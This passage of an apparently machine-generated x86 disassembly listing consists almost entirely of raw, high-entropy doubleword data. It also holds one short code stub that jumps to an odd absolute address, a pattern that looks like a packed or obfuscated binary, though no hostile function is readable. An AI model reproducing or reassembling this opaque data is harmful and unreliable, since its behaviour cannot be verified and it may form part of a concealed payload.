0E6B9F4ADh dd 2200CCD0h, 3945FC26h, 0B8610E16h, 12092050h, 0B6937302h dd 78BB595Eh, 0FF2203A0h, 0D6803C5h, 40C9A801h, 1B727F6Bh dd 0E059439h, 0C22AB9FCh, 80D2932Ch, 1035DB30h, 8ACB07h dd 0EC5EB772h, 0AC5871B9h, 0C00FC498h, 84D18B5Bh, 448187AEh dd 2700CD6Ah, 0E6007864h, 550E4E61h, 326889h, 9E51AA22h dd 7302FBCh, 46560A01h, 0A660C302h, 7674E2E0h, 87CD1392h dd 0F854C8CFh, 0BB47B70Ah, 0D5088426h, 903A1314h, 0C7EA540Ch dd 46B06F03h, 0B4DC1BAh, 75DE4AB8h, 6450883Ah, 0B84F2D0Bh dd 0E4380066h, 18DDC881h, 28F629B9h, 77003E8Fh, 18F36A7Fh dd 1B1635h, 0A630A343h, 590ED7EFh, 0B6924605h, 81407A5h dd 2FF61034h, 0FF86026h, 1EE054F1h, 7A66E9CBh, 350BF8BEh dd 26E80422h, 0F0580116h, 0C92E07F6h, 0C60068E9h, 0A2C87B52h dd 13EC71A4h, 0B8D007A1h, 203686BAh, 7C5C2600h, 396E13CAh dd 0B389806h, 216555A1h, 0B322B603h, 2629E6D0h, 0DCB9130Ch dd 99CAE8FEh, 88AD82E4h, 8E8A476h, 0AE803D92h, 0FD3A0B01h dd 50682950h, 630F0DCAh, 0BD282ECFh, 827D4E8Bh, 6861D67Ch dd 5D35D60h, 0CE1888A0h, 1750FC47h, 38CC2B7Bh, 0DF7900E9h dd 0B112562Eh, 3CB89C2Dh, 11E10E0Ah, 53000859h, 426C8CACh dd 0F7300184h, 9D03F6EBh, 76BBD472h, 2D9C4312h, 0FECECC88h dd 4D10DF74h, 20D130B0h, 0D0BE40A0h, 48D480C5h, 204C85EAh dd 0D1AC5DC8h, 1A8868B1h, 805F09BBh, 0BA1BD852h, 8420B199h dd 98D29484h, 0AEAC5329h, 1FD42E10h, 0A48CA4CEh, 255CA6D8h dd 8B4BD464h, 40E6A488h, 200B783Dh, 0A25D28B5h, 25CF254h dd 5C61A111h, 3AF43024h, 1D53C400h, 6828EBA6h, 7A4005CDh dd 54D1564Fh, 8A04DC08h, 803BBC92h, 0FECE2F80h, 0BA910462h dd 0B5646078h, 624C9432h, 6461DD88h, 9B43C3Dh, 206DA8BAh dd 0CA0CC1Ch, 2BAE03E6h, 8B685F82h, 0E8B0C02Eh, 814D5988h dd 0FA27511Fh, 0FF34602Fh, 38091EF0h, 0EAEF68CEh, 190CE08Ch dd 613D8174h, 0FFF7E044h, 0AC8C80C0h, 0B20BB2CDh, 222F0A70h dd 41A0D852h, 60661746h, 0C37F771Fh, 50377202h, 901B3671h dd 6554CEECh, 13A5401Ah, 8B5457A8h, 0C81A2608h, 3712CC26h dd 0D8F8B0h, 73DD4825h, 0D222C7B7h, 32E5506h, 30A0D599h dd 52410D3Bh, 9A7628h, 8C2D8005h, 8C942426h, 0C0619893h dd 54CDD509h, 777F49Ah, 31E52D2h, 0F0AEEB4Eh, 0BA7B07E0h dd 58C12AFEh, 0CB79522Dh, 0BD308C4h, 74E1FF01h, 49CEA800h dd 347A75ECh, 0CDA38B1Fh, 58476317h, 0F4402FA8h, 35CE2D3Ch dd 2218EA12h, 25DA348h, 43BA7218h, 4B680F37h, 7300ECE6h dd 4AC558CEh, 0AEC4A197h, 54232D0Bh, 8A032616h, 0CDF80528h dd 0C0821C30h, 0E002FF78h, 0B0D2A0D4h, 7CCDB618h, 64540389h dd 0E033905Ch, 0CA31BA04h, 0C88A4808h, 13B81820h, 156977Dh dd 0FD38FC5Ch, 1E20320Ah, 98E96284h, 0C14A0385h, 72F7C844h dd 0A283BA44h, 0A0F52E04h, 434C0BA5h, 0E1883290h, 4EC21A38h dd 0DE922C99h, 582B9848h, 0E9C00436h, 0EC9028h, 8BEA03AEh dd 0AB275CD2h, 4411A501h, 9E529F58h, 0AD2CB878h, 54408138h dd 2FA636DDh, 2809FCC0h, 6126712Bh, 40CE10A0h, 0BDB85033h dd 0FC949A5Fh, 0CB03A600h, 3C1372h, 4FFCB712h, 0EB65C6F1h dd 24B94Ch, 7FA9DA1Bh, 0BC79ECh, 89D87E5Dh, 5F32DE72h dd 484E3A30h, 995E9143h, 74FD8F94h, 0AD1419A0h, 0CD1849B9h dd 0D62008ECh, 98797E27h, 0ED4800E4h, 0A6708397h, 25141DEEh dd 7CC5B5Eh, 0CDDE34C5h, 54AC0F14h, 72BDEC00h, 0AB8CEF39h dd 228F5517h, 6DC04C04h, 81D4780Ah, 0F37B4D7h, 7D602093h dd 0BCB895E2h, 641F1F70h, 0BB007225h, 0CE9B2E0Bh, 3E132E4Eh dd 152A6F04h, 202D1728h, 7E5B52B0h, 0BA6CB897h, 58854DCCh dd 0A8D6E500h, 0DB2BBD1Dh, 46B2F06h, 0B2823A0h, 87CE2834h dd 0ABA4C820h, 0AD4AFA5Fh, 0C12ECCDDh, 2C3873E8h, 74A0D480h dd 0BCFC1240h, 0EE5F06C0h, 0E60F20C9h, 69D19C03h, 0C814C433h dd 0FD00BF20h, 0B1FB4DD0h, 788801EBh, 741ED658h, 0B06430B9h dd 4B68CD18h, 121A7198h, 30D35851h, 4FCDA450h, 78108367h dd 0E51CA6A3h, 0F916D48Ch, 4500D832h, 2B0AE742h, 212DD2A5h dd 3A44105Ch, 21466043h, 5EB31A74h, 5F852C1Fh, 48882935h dd 8A9540Eh, 81550024h dd 9D89236Dh, 0E800F729h, 0AF27C808h, 0BC1D7F84h, 0F0836274h dd 5C2828C9h, 0BB4066D4h, 9E6F822h, 849BCFFCh, 18283406h dd 0FFAE6501h, 79255F38h, 4B3C8092h, 0D8CEB09Ch, 498A195h dd 60812784h, 77CE1F35h, 9201EC2Eh, 85EFC1C9h, 44F40AF4h dd 0B2CB587Ch, 1F046A0Fh, 4405744Bh, 5D848276h, 27365460h dd 3824FE00h, 5604509Eh, 12D0C798h, 80789159h, 3314E032h dd 725D17B8h, 0B8A4241Ch, 88345C80h, 0F02F2B05h, 36763A23h dd 0CA045286h, 14BE48F4h, 0CEBC0125h, 0E46887D9h, 0EBC9049Eh dd 2785014Ah, 1AEC4C43h, 0BA731707h, 44ACC069h, 8100ABD8h dd 0EF4BA37Dh, 0DC70765Fh, 2EE70488h, 4AF0F01Ch, 0FF415288h dd 0C1D7443Dh, 297FA594h, 0F97C0144h, 6BD83AE4h, 0BA830428h dd 1004D02Bh, 686F4322h, 515730CCh, 6C63E073h, 0AB5A4079h dd 0CC27DD5Bh, 890B5C5h, 1695D87Dh, 1FC79h, 5DD22DB4h dd 0BF01EB28h, 9C0DE675h, 1C3CF152h, 97C5113h, 701278EEh dd 4F0A84F1h, 1824BC16h, 78BB0A38h, 0A300BB52h, 92890CD9h dd 6ECD09A1h, 60EC4A42h, 2EFE3A13h, 7CD26CC8h, 7778027Fh dd 98E803F0h, 5C403C5Eh, 0F179E0h, 0A476E5ECh, 925F2F7Bh dd 0B890954Fh, 0A05139B9h, 312790h, 5D777F80h, 0BB3EA5A9h dd 0B8E3FA30h, 185A1A2Ah, 789417CDh, 77529E75h, 980411D0h dd 221BEF00h, 5F2A9D1Fh, 193D0B30h, 95D5A05h, 0AF92B977h dd 6AFF7C02h, 8B3A3D00h, 60120729h, 3CDD032Bh, 765B4218h dd 0A4545C40h, 3FD28BCh, 0B74434A2h, 0B0C4B011h, 0A60030ACh dd 3640706h, 58128Eh, 6A1993B6h, 0EB9FE34h, 0D1090C96h dd 8984712Dh, 9C99F924h, 748A020Fh, 722E8818h, 98D3000h dd 0F120E76h, 0FB354AFDh, 0A05D03A4h, 2416363Ch, 4C404FCEh dd 0A830B02Bh, 42DC90EDh, 97031E1Ah, 0B196C464h, 172E8498h dd 49970453h, 0F4822BD4h, 750071B7h, 34CDBD42h, 81100649h dd 0DC005E4h, 0D788E4E0h, 5F084210h, 0D048C5DEh, 0E882B909h dd 5D378460h, 106024D4h, 0F25FB3A3h, 4E024CBEh, 594A6E1Dh dd 0CA7B093Ch, 0AB203464h, 815E0B63h, 6C98786Ah, 7E2426D7h dd 0DE1EF423h, 32E930B7h, 2F705BD8h, 0A464EC0Bh, 0CCDE1900h dd 0AC927A87h, 8E150A5h, 0A6F17B38h, 1C434FA4h, 25D24DB4h dd 5586841h, 891BCE29h, 0C444F8A7h, 0AE280937h, 0F830110Eh dd 5F8113E1h, 34DBA9E7h, 0A820545Dh, 707D0007h, 43A1D5BFh dd 0CCA055DBh, 0AB012C5Dh, 2AE2AE2Dh, 8439E4F7h, 83B8622Eh dd 2D0FBA7Bh, 9482504Bh, 60085C29h, 5FD48B44h, 0D31222C3h dd 6882A548h, 0AEE080DAh, 94B5110Dh, 602C4AFCh, 9408D237h dd 2866189Eh, 58220729h, 33214E43h, 5CF01B83h, 59137397h dd 0B8B47B04h, 501F1205h, 0CE781442h, 44E8405Ah, 8464823Dh dd 4C03EA0Bh, 112C0159h, 0A7058B7h, 0FA0D09ABh, 0ECA40693h dd 41F4E8F6h, 2A2BF5B0h, 1DD58C30h, 9936F6C4h, 0CE728594h dd 0D5A0A03Bh, 0F000B590h, 5FAE9A5Bh, 0E31C97Bh, 0F727EFC8h dd 0D94376C0h, 0E1FF2BB2h, 0C00847E1h, 51BE0F46h, 0A8325FF2h dd 4326F877h, 697FD278h, 91EF4394h, 583C1FA6h, 1033CE0Bh dd 0C5B10025h, 2110B204h, 0CE2705B9h, 0D7B8E044h, 0A8800B9h dd 0C0251305h, 0AEB21664h, 0CE3A0B06h, 301875h, 0ED4CA912h dd 0A6E582ACh, 0BA1B3Dh, 0B51373F0h, 72CD392Ah, 905A348Ah dd 89C8B458h, 92AB1188h, 18347778h, 8DC5B33h, 729FC884h dd 3BC8034h, 10E86042h, 0DF76DED6h, 0A6236A17h, 756E9401h dd 0C3FB3EB8h, 9F08F0E2h, 4E84B8Fh, 0E4D03540h, 0A003358h dd 5D0FB411h, 1D0E23FFh, 0E408B91Ch, 33900064h, 7619AF80h dd 252CF74Ch, 9188088h, 0A39C71h, 0B7A2117Ch, 56462ECEh dd 9AEEF700h, 9D33E5CAh, 2BB92ED8h, 8FC14E3h, 44960313h dd 208C2D84h, 2FBEBA6h, 0BA80EA32h, 905EB781h, 215001AFh dd 42992C8h, 0BE2E1858h, 64B5Ch, 0E08428A6h, 0D7512F0Eh dd 4B1BC041h, 0A554A2h, 668E3C12h, 5C47926Eh, 89CB7900h dd 7B0522B4h, 6D6402DCh, 9C1ECE37h, 0A16DECDCh, 6AAEC20h dd 790315F2h, 50256868h, 0E54C6066h, 1C82820Ch, 0C10E15B7h dd 44CC6DD5h, 5248046Eh, 9A05121Ah, 50D850BFh, 0CA5C4079h dd 0B24C377h, 84004832h, 4B8C0148h, 0C0FB735Fh, 65DC5688h dd 759835CAh, 0D9CDBE09h, 0E03C6437h, 4BB1C42Bh, 3858E0AAh dd 955894B7h, 0BA316436h, 2621D138h, 0E1F5FC40h, 5081B730h dd 7816475Bh, 2FD00C0h, 55B6ACE7h, 0A22D03C4h, 0D709C7D1h dd 0E129DA91h, 0E7FCF06Ah, 9BB110A0h, 0E856F4F3h, 45D7C11Dh dd 0B0255400h, 2F2DC3h, 2BACA07Fh, 0B8245E8Fh, 2EB7E10Eh dd 1CADC1A2h, 72F0B490h, 0C0E90308h, 0A8658E86h, 46A881D3h dd 70D8B076h, 30401F48h, 5626A1CCh, 39EE87AAh, 0EC714E0Ch dd 28BB98BDh, 0F8508CFBh, 0C340FF1Eh, 2F38BEh, 3631D279h dd 6154435Ah, 3D856800h, 0AA2E1DAFh, 595518B3h, 23245011h dd 48FE80h, 0F7BD7D30h, 77BE837Fh, 0C2603460h, 1D4F6522h dd 0C069BBADh, 25152F78h, 0BCF0A411h, 72075400h, 5EE12EC4h dd 7D3E1F08h, 58D7D871h, 0AA004C83h, 0B92C86EBh, 4026BE1Ch dd 88EEC528h, 0CC54170Ah, 0D500A0CBh, 0EEAAE7BDh, 19C10055h dd 6948814Eh, 0D131F2ABh, 7C8BF9D9h, 0F7EBD503h, 55D73802h dd 0A1AB65E8h, 3D59B7A0h, 2984D840h, 54E500FAh, 0E90A2108h dd 3100F8A0h, 2FF220EEh, 0A35EC2Bh, 6A46A561h, 397B60C0h dd 5EFC65A6h, 69064F01h, 862854B5h, 0B71070B1h, 0C57DD4CFh dd 0B62844B8h, 0BB01A8F6h, 0F80609FFh, 0B041295Eh, 81075844h dd 2456AC4Dh, 0BB21EB24h, 8BB70629h, 0D77118E4h, 8D140CDh dd 24C31AC0h, 1234D67Dh, 0BB5403AAh, 0A8000813h, 0C02A679Ah dd 50B2238h, 81B5AD5Bh, 0EA73C383h, 1AAB0E0h, 9706307Ch dd 49E6BED0h, 0AF6E0138h, 7F1F406Bh, 56E5F017h, 0A17018C3h dd 0D7A00769h, 40C6227Eh, 10A8BE0Ah, 0BD2C20C0h, 4688ECh dd 0ACE5733Bh, 0FAD5B7EDh, 5C903200h, 0E7D34E01h, 0A5A13A09h dd 8619C501h, 0B60A2DBEh, 0E8C8DC40h, 20CE7C12h, 0C2288B5Bh dd 5414E0D1h, 1FB0C15Ah, 0D054711Fh, 5EFB009Ch, 0D411730h dd 5D432823h, 87E924B4h, 66B643D0h, 0F2096091h, 831BC86h dd 9767D404h, 0C7C116F7h, 0C420A72Dh, 7B8828E9h, 98B950FCh dd 6AFB30F9h, 20FC3310h, 56837118h, 61813B58h, 0F0546018h dd 1E702079h, 0AC308400h, 0F81B69B3h, 0F097E809h, 0D308A1EBh dd 162FDC40h, 6AE8A0C7h, 0AD780145h, 4ED9C485h, 0AEBEF856h dd 0D724B674h, 0A03200AFh, 7E8727FDh, 21054300h, 50B5B21Ch dd 7F48C1F9h, 545E2FD5h, 6FB003D0h, 31B39777h, 38217AA0h dd 8695403Ah, 56E8B7FAh, 94BA0080h, 9CEA07D7h, 177D221Ch dd 0DEA40D0Ah, 446054EFh, 2A6577h, 7FE229B1h, 27B4ADC8h dd 0F200437Ch, 0D7285B9Ch, 4930BE71h, 1D1EE047h, 0A6720C85h dd 0D8C1B210h, 91DED529h, 8B5CC24h, 4D6454E7h, 1198CD3Eh dd 1800E0E4h, 0A70B3532h, 96076513h, 730D90A6h, 40288FDFh dd 5B88E99h, 0F4FD267Ch, 0E043006Ch, 6C46ED4Bh, 90963Ah dd 2E127F8Fh, 2481EC14h, 0E7102960h, 906BC4ACh, 9F7D7BCh dd 2799D562h, 711E014Fh, 3014E7E8h, 0C020395Dh, 0E874ED2Ch dd 8910C05Eh, 0F9271E61h, 391FD701h, 6F18543Eh, 88C61021h dd 682881E8h, 1CEEAC2Ch dd 0B4C80A4Fh, 0AD621584h, 0FD7334D0h, 601400F5h, 3338AC69h dd 3B0CFEBCh, 306AE4B7h, 0EBD1C7F8h, 4DD740BFh, 0AD29D5E8h dd 0AC94B0FDh, 7BE442BCh, 3CE8FB28h, 2E956907h, 0F9B67Bh dd 631572E8h, 0BA900C5h, 0DB73EF39h, 14032FEBh, 0FE7A3E50h dd 98B9D046h, 3F67CAAh, 0A3AED07Ch, 5E8C6FAh, 0BC939CE9h dd 0BDC2BE84h, 0B589491h, 0FCE23700h, 0B880A8B2h, 0D50432E4h dd 0B3490187h, 0C77E9CC0h, 75B6E6B4h, 0DBE4002Ah, 0E90F82EEh dd 73037991h, 0EF54ECD3h, 76E800CEh, 1FAAFF70h, 0DF408CF2h dd 0A08CAC5Bh, 13AF672Ch, 5026CD71h, 0D105E4B8h, 20E3C8A5h dd 20F7188h, 7C3C20C3h, 0B4B8185Bh, 55C9C876h, 1CC880h dd 20AF9F2h, 0DB54219Eh, 1589349h, 172CB265h, 4F0F694h dd 2B604E9h, 80094B0Dh, 0F43F8234h, 55711A0Bh, 4A80238Dh dd 98CBC1ADh, 0A6C11087h, 0AFFB827Ah, 2B8664A2h, 71A0DCB3h dd 0BE029F16h, 8121ACDAh, 0AE62C112h, 62DD8880h, 6D73BA98h dd 17C5EA00h, 8FBFCC55h, 6BFE0312h, 93D37107h, 6514600Fh dd 0C9C56163h, 902218D7h, 628426C3h, 0EC9C40B7h, 0AA07D3BAh dd 46543815h, 1CE7706Ch, 414BEFE8h, 6BACA6E9h, 0B7ECE89Ah dd 0B0E2A130h, 13048285h, 1341DF05h, 215A0E88h, 6CAA67A0h dd 160F51B4h, 0A2A8D263h, 0E6153058h, 0A66E2034h, 0F3B7FC0Ch dd 0F8CD5057h, 186D61EAh, 0E0AA3A2Eh, 349A4B6Ch, 0CB65E2Eh dd 0AC289A96h, 1B0C8683h, 0E8F92F71h, 0FAFD002Bh, 0E1044BBh dd 1C00F05Dh, 0B6FF5304h, 98DE4875h, 0CA4D269Ch, 518049C4h dd 0B4AC03E3h, 62F6EAFEh, 0CF0904B8h, 200AAAB7h, 4EE946D0h dd 0CE04016Ch, 930690Ch, 0D11890B0h, 207E9C4h, 0C0D7E6FEh dd 0C738216h, 0EE0A7103h, 0D5033AA0h, 59BEF7F2h, 0FAE81307h dd 0E9B00419h, 0D7FB0006h, 0B96B460Bh, 1A058874h, 0C5ED2300h dd 0EA58AA36h, 828800DDh, 1CD531DAh, 0C7507F54h, 9CB303E4h dd 42D37E90h, 2E8B7498h, 0F0B55468h, 0C3D8D109h, 0FD3C84D5h dd 381A8CA6h, 64C689AEh, 40A35130h, 109DFD2h, 0E394E901h dd 0CCEB85ACh, 0F6486989h, 818801BDh, 1B246DDBh, 6E08CFDh dd 0E92000ADh, 0DD292B1h, 0B9032C31h, 223FE8Fh, 48FC9271h dd 80B039DCh, 0F461EE54h, 13434ED8h, 92E155E0h, 0AC7D09D4h dd 7D000BB1h, 5F72B853h, 48035492h, 7B71AB51h, 4350000Ch dd 7A1F16Bh, 0D830B706h, 0FD4C0C0h, 9A1C1709h, 5B380F46h dd 71476600h, 38C0DEBFh, 0EC8BB417h, 1288A49Ah, 5662C54h dd 49D5B858h, 8085DE84h, 4B4852Dh, 10F3770h, 66B2CE69h dd 710C6422h, 0C348C1D2h, 0D1087500h, 2D7C585h, 4E1928C4h dd 882A4180h, 78FDBE8h, 814355ABh, 745974DFh, 0F89A2F14h dd 161DBE15h, 7C563CF4h, 3B10749Ah, 62780E17h, 0CAB3284Eh dd 0AE6EFCE0h, 1AE74701h, 0EDC0F211h, 80005035h, 1A5AC2Dh dd 7846A7EFh, 0FE1B8A47h, 1DD68860h, 0BE189D7Dh, 0F95874AFh dd 195B2CB7h, 0ACA88400h, 60C0CCEDh, 0B88BDC41h, 2C80EE04h dd 342E1378h, 866A016Fh, 1EE0D1F8h, 0AC776EFh, 16AC7190h dd 0D77803D6h, 9E03B51h, 0C03074C6h, 5E8B5028h, 8C30F65h dd 0D386F02Ch, 60006940h, 6403320Ch, 3A227FD8h, 0DC06EFFFh dd 587A1354h, 0F8BB0128h, 80A2AEFEh, 713B28E4h, 7DCC54F4h dd 37617400h, 0BE843D2Ch, 909644h, 0A77FBCACh, 7418C7A0h dd 29300A1Bh, 12D4916Eh, 0D57502AFh, 0DCC9AD9Ah, 0CA84705Dh dd 0B17E8F44h, 0B5BB05E0h, 0ACC800C4h, 0DAC58998h, 9DE91800h dd 1B3514FAh, 99850726h, 0C027BE8Bh, 6B8F6C13h, 0B71E1C74h dd 6301E752h, 0C638DF7Fh, 20A2CE0h, 0C95A2420h, 2060B63Fh dd 0F9046C4Fh, 6EB9B843h, 53909B00h, 3A7EC63Fh, 8E6BB625h dd 80462E24h, 9DC541C0h, 480D497Fh, 0A069F87Fh, 1152F70h dd 4B81DF09h, 0D4327843h, 0B82825EDh, 0A206E9DDh, 58CDBE8Fh dd 0C0B89630h, 2BE509EFh, 5C263500h, 0B7C2A1B9h, 21E140B4h dd 1C8C39h, 87FDB4Bh, 0EB99E9h, 0B49851D8h, 19BB4A39h dd 0B598CD50h, 0A4748B17h, 103CE449h, 34B7CECCh, 8050D30Eh dd 1E66DB30h, 0EC2CFF1Ch, 89954h, 0E7A629C5h, 0A0D7C754h dd 2F19CCh, 8172E351h, 7F2E4ECCh, 0CF6CB180h, 0A780E9C1h dd 2C791AEBh, 0D08AA826h, 0F47A29C7h, 1E9DA03Fh, 4068301Ch dd 47CCED43h, 205966B8h, 41C0205Ch, 0F9F0704Eh, 889CD574h dd 0FC24A0A6h, 9541B62h, 93ACB080h, 2909E788h, 2B2E952h dd 0C0DCB1E4h, 472E6C4h, 77717820h, 54ECD0B0h, 90C3A826h dd 0A066197Bh, 99B12Ch, 0D7182FC5h, 2281ADEBh, 26101A58h dd 0AC8840F6h, 0B42902F1h, 451EC89h, 55E9AA00h, 4C4EE159h dd 6C84588Eh, 603A093Bh, 14F9180Ch, 1C88E905h, 0B1B0D509h dd 0E7BD8821h, 347AC8FCh, 9A026CFEh, 5E44398Bh, 567040D5h dd 3F3C09C7h, 88E070Eh, 4B93818h, 5E024678h, 2FCC6F56h dd 4EF5C71h, 0B1B8BE9Dh, 648825E0h, 5E3E857Ch, 519F9458h dd 2A9004A0h, 24A503F9h, 0B364CC40h, 0B0553384h, 11F66C61h dd 1F124Ch, 1C4F62D7h, 0FBDD320h, 6473E15Ch, 8026DC67h dd 4DC97AECh, 778C300h, 0B3AC9F69h, 8C1609E0h, 0A0888117h dd 84A94BE4h, 106ECC09h, 84804092h, 0AF2604B5h, 4C02A434h dd 837F3BD5h, 0B177B9A4h, 0ECF02CC8h, 0AC08A0C0h, 8214A0B5h dd 46701D2Ah, 0D7355CAFh, 446B1673h, 81C014ACh, 378ACCh dd 96A07BD5h, 38C8492Ch, 0EC83586Bh, 0FB0218E3h, 0E7ADD622h dd 71857459h, 0FC22CD95h, 0AC862956h, 0D0CF2048h, 39344428h dd 0BB5858C0h, 0C614DDBh, 0D7278478h, 0FF8487DFh, 0EB9A864Fh dd 5E8E2818h, 0E9588Ch, 82924058h, 920FAAB8h, 0E3C83020h dd 0F0707B6h, 30CAE916h, 2C20506Eh, 0F8908A12h, 48B9080Ch dd 5860B87Dh, 0C40388B2h, 0E0CFB71Dh, 0C7DF7013h, 537A1890h dd 546F13B6h, 2E8405DCh, 28CC5D8h, 0E42FF26Ch, 0E013BB01h dd 0A2C4830h, 0DD9774B5h, 542AC188h, 1968640Fh, 2DB9D13Ch dd 7D64005Fh, 901CE7BEh, 48CC1A08h, 0A08B102Ah, 58101412h dd 7C609654h, 0D42A5848h, 64E030A9h, 0EFE2A210h, 0FD36D516h dd 68E03837h, 261A1F82h, 1A189E7Fh, 0E03818D5h, 4380D227h dd 96549176h, 4CC40617h, 8B8508Eh, 76D7FA04h, 4CCC6A46h dd 87354027h, 0D658154Ch, 0EC046413h, 7C149137h, 9A121095h dd 0AE6802DEh, 0D46AB5B7h, 9CB8ECE0h, 5EF6F41h, 6D7112F8h dd 2FC890C9h, 0B81DB102h, 58F06854h, 165FAEh, 0C9E9FA67h dd 0BE17A4BBh, 3C14EC49h, 1AB9006Eh, 21677F31h, 1BE900ACh dd 9BA36B73h, 1900B58Dh, 2FF3264Ah, 0EB222Ch, 0AC1DE2C4h dd 834FFF90h, 0AD67761Eh, 0D0BF000h, 4BD11F9Bh, 0BE480298h dd 0ACEC5933h, 1029F733h, 74E24C2Ch, 7014B71Ch, 1854F2D0h dd 2EC0A400h, 0C603E5FAh, 0B12600B6h, 792FC2AEh, 39710A76h dd 36171890h, 1472C457h, 65B4685Bh, 54F183B9h, 0A1287433h dd 90020090h, 3C39820Ch, 685C48AEh, 20808103h, 34991A20h dd 0C4829C93h, 20044449h, 4472ADE6h, 88B1ED00h, 853A12D7h dd 3274F015h, 8F20C8FEh, 0B471B844h, 2B64D9F8h, 108B3010h dd 60732F14h, 28F7592Eh, 3B08C0E8h, 0E986279Eh, 0A4AFC000h dd 595A431Eh, 0DA77049Ah, 0F3229DB7h, 0FC714A88h, 70FABE99h dd 79FD5C10h, 58BFF607h, 84AFC382h, 93291814h, 0C55184C4h dd 1E3B8701h, 0E4C1A075h dd 5044F7F0h, 84F066h, 12261E9h, 53DCB7FCh, 0F5A4892h dd 0AB54F471h, 0E7345C33h, 90B41020h, 0CFEC5D92h, 0D4F43C54h dd 9B712004h, 5AB89039h, 0B7B0553h, 0BE0D7709h, 0B424A1FBh dd 9C63EC8Dh, 6E8C540Bh, 80193843h, 2D9103C6h, 7101C800h dd 302FB730h, 26B87FC1h, 10CA552h, 618AB1ECh, 2854D4DEh dd 2C10F04Dh, 818BDC1Ah, 0A9BA89BEh, 0C30C00ECh, 0A371087Eh dd 0C95000DDh, 446B845h, 8D02A12Ch, 874D285Dh, 806742BDh dd 4B891FC5h, 0D43200ADh, 0EDA9E6BCh, 61071454h, 9F99C10h dd 5BBFE860h, 24CD0006h, 0CA738525h, 6939A1F1h, 0F5970742h dd 20101E2Fh, 0CEA4F3h, 6173459Dh, 0B6172C82h, 80DA5A30h dd 0C02899E8h, 0EAA9C338h, 10065854h, 0AF63704Dh, 13390018h dd 0BAD9F699h, 7CE8F773h, 0BEEA1A03h, 0EBD00B2Ah, 0BD9AA008h dd 4809698Fh, 77E9C801h, 8180C327h, 0E21D3BC5h, 0EA81FC6Ah dd 0CF77985h, 1F030C80h, 17E92E5Dh, 682E86EDh, 70A5055h dd 0FF241C89h, 2C8B3334h, 878E9B0h, 0D11027CFh, 0BE1A3C31h dd 81590042h, 56B60EF3h, 0EBC01879h, 77283141h, 25F80CC0h dd 3010588h, 0C6835BDEh, 620D8704h, 42191AE9h, 71D946D4h dd 5C8B61FFh, 704C481h, 6D685000h, 583DA96Fh, 3354A2A0h dd 512E835Fh, 0C181E1F8h, 6101DA2h, 72CA0C87h, 16A3915Eh dd 44B7831Fh, 0F954836h, 2474015Dh, 0F4C65E6Fh, 58761611h dd 0C17C130h, 791B353h, 0D82866B0h, 60C2375Bh, 8BD18858h db 1, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 0D5013440h jmp near ptr 0BCF8D45Ah ; --------------------------------------------------------------------------- db 0B5h, 10h, 3Eh dd 406E519Dh, 0F693B7A9h, 76FED77Dh, 1C8B1AC5h, 0BB538C70h dd 0EE0B03EFh, 5BDA0158h, 0F188CA9Ah, 6A59190Bh, 42AC43D8h dd 912F2E8h, 49256FAh, 15ED5B1Fh, 7E45E202h, 0C2E4804Bh dd 0D61E5FEh, 4618E90Dh, 0D52E476Ah, 0D03D18C7h, 0A6074AD1h dd 0A4B8502Bh, 357AA190h, 0CF26011Ah, 2DD0F716h, 5B71FCE0h dd 8DE4E918h, 0E123043Ah, 0BEE206FBh, 60DC780h, 0F8285807h dd 0EBA35A5Bh, 0D4C3E8AAh, 61632E9h, 69404D38h, 0C3E53005h dd 87953EE1h, 80DDF618h, 0F53327D7h, 900C0102h, 2CE9E828h dd 5C248A3Eh, 0C223C689h, 3FD0D715h, 0E9E60A56h, 0A8B371h dd 99A0FCF2h, 6514BD55h, 58A46B26h, 0E12A54C9h, 0E407357Bh dd 41D1F76Eh, 763755E3h, 387B031Dh, 0CA3157ACh, 28233810h dd 604BBE24h, 531226EBh, 74E9700Ch, 7BD6EE7h, 6B833E0Ch dd 301CB24Dh, 0EAFE8907h, 0C2A09FD1h, 64C440Ch, 6A2B5C0Ch dd 0C50B1810h, 0EB48812Ch, 3E82307h, 81338BBh, 2ED40056h dd 0E9534F22h, 1803340h, 48681AC6h, 0FCA23536h, 0F6002122h dd 1FC6FED6h, 907E6C0h, 8A28E85h, 19A43EA2h, 8B9793FFh dd 8F559CBCh, 0FFE7F7F7h, 80FF6684h, 4CE99CC5h, 5AFCD767h dd 0D47CB63h, 0EC81DD4Dh, 572E103Ch, 716CE668h, 1B84E13h dd 3F5E0220h, 80F1EEE9h, 11D2BB48h, 49013BDFh, 747F99DDh dd 4593A4C5h, 662A002h, 1106649h, 372C98B6h, 99A806E9h dd 0D9448387h, 0A926D2Ah, 0F92433BFh, 184851E2h, 0C648B66h dd 2F154173h, 32C68113h, 7F64EE33h, 83898889h, 45E95234h dd 0E3E10A60h, 281AC381h, 9410304Ah, 0FEE8B30Ch, 20CBC9FDh dd 4A803395h, 0E9DD0C88h, 8BD31FD0h, 6C6192A2h, 0E7BF8C37h dd 74B8A6EAh, 0D4C9128Eh, 56BC0089h, 0DB1613BEh, 0F7016F13h dd 812D7604h, 707A8010h, 33187B6Ah, 0EAF77FFFh, 819D42B9h dd 3040C725h, 0BAEF3CDDh, 0FA29004Eh, 0ACA1875Fh, 83E5945Ch dd 75E909EBh, 0DB2C2691h, 883726C4h, 740C0F9Fh, 1E2B12E6h dd 0C49A80F1h, 816BF125h, 3BA87DE6h, 0EE1C7BB7h, 37900678h dd 33081A4Eh, 7126F0Dh, 43CAB0B9h, 0CD30F001h, 0B60FF8DAh dd 466648C0h, 0D419873Eh, 23B918DEh, 89ED3E0Ah, 6731C58h dd 50EF15C1h, 19BCC7D3h, 52380C30h, 166800F0h, 478F1486h dd 5F18E05Eh, 0F74B18E4h, 0E3C1D305h, 0DE084302h, 0B951007Ch dd 78F85903h, 854D2FF6h, 12F6000Ch, 0B22D69F1h, 49A33F30h dd 541EDE93h, 472447B5h, 0F65C67A3h, 40E5680Ch, 10415391h dd 0F9F14050h, 9FBA82h, 112E68C1h, 0ED1C5879h, 0E5D1E49Eh dd 0A7C86E9h, 64C83024h, 93BEABA6h, 0A4243A08h, 25B20D91h dd 16CF5F94h, 9CF92185h, 8A33E9CAh, 0EB6496E8h, 0D552C132h dd 1C297834h, 49504165h, 4721E889h, 60FB215Dh, 0DA09F337h dd 8068CC39h, 0C1A5B798h, 544378D0h, 55E9CD03h, 6509EE8Bh dd 20A4E30h, 0E93DAB34h, 5EE44B93h, 58B016EBh, 9B6C2E50h dd 88AE59B3h, 1CF8E535h, 10BBD650h, 0BA2AE725h, 9B365413h dd 5AD13E89h, 5F153384h, 16840813h, 